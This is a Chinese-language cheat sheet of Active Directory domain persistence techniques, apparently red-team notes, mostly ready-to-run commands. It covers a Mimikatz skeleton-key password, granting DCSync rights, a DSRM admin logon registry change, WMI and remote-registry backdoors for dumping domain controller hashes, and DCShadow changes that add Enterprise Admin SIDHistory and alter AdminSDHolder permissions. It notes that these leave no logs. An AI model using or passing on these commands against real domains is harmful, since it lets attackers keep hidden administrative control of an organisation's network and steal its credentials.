域滲透攻擊
域持久性
必須以DA權限運行
Mimikatz攻擊
DC運行為所有用戶啟用密碼 "mimikatz"
privilege::debug misc::skeleton
使用 PowerView 授予特定用戶 DCSync 權限
選擇的用戶授予 DCSync 的權限,在某些設置中可能會逃避檢測。
Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync
域控制器 DSRM 管理員
DSRM 管理員是 DC 的本地管理員帳戶,需要先啟用遠程登錄。
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
現在我們可以使用之前轉儲在 DC 上的本地管理哈希遠程登錄,使用例如“ overpass -the-hash”來獲取會話。
修改遠程 WMI 訪問的安全描述符
使用Nishang 的 Set-RemoteWMI cmdlet授予用戶 WMI 訪問計算機的權限。可以運行以持久訪問例如 DC。
Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2'
DAMP 修改 DC 注冊表安全描述符以進行遠程hash檢索
使用DAMP工具我們就可以借殼DC注冊表來給我們上的訪問SAM,SYSTEM以及SECURITY注冊表配置單元,這允許我們遠程轉儲 DChash。
Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser
我們使用Add-RemoteRegBackdoor.ps1來自 DAMP的cmdlet添加后門。
# Get machine account hash for silver ticket attack Get-RemoteMachineAccountHash -ComputerName DC01 # Get local account hashes Get-RemoteLocalAccountHash -ComputerName DC01 # Get cached credentials (if any) Get-RemoteCachedCredential -ComputerName DC01
DCShadow
DCShadow是一種攻擊,它通過暫時模仿一個域控制器來掩蓋某些行動。如果你在一個根域中擁有域管理員或企業管理員的權限,它可以被用于森林級的持久化。
作為域管理員,可以選擇給一個選定的用戶以DCShadow攻擊所需的權限(使用Set-DCShadowPermissions.ps1 cmdlet)
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
然后,從任何一臺機器上使用Mimikatz來進行DCShadow攻擊。
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"
# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl
## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid
## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])
最后,從DA會話或之前提供DCShadow權限的用戶會話,運行DCShadow攻擊。之前的動作將被執行,不會留下任何日志。
lsadump::dcshadow /push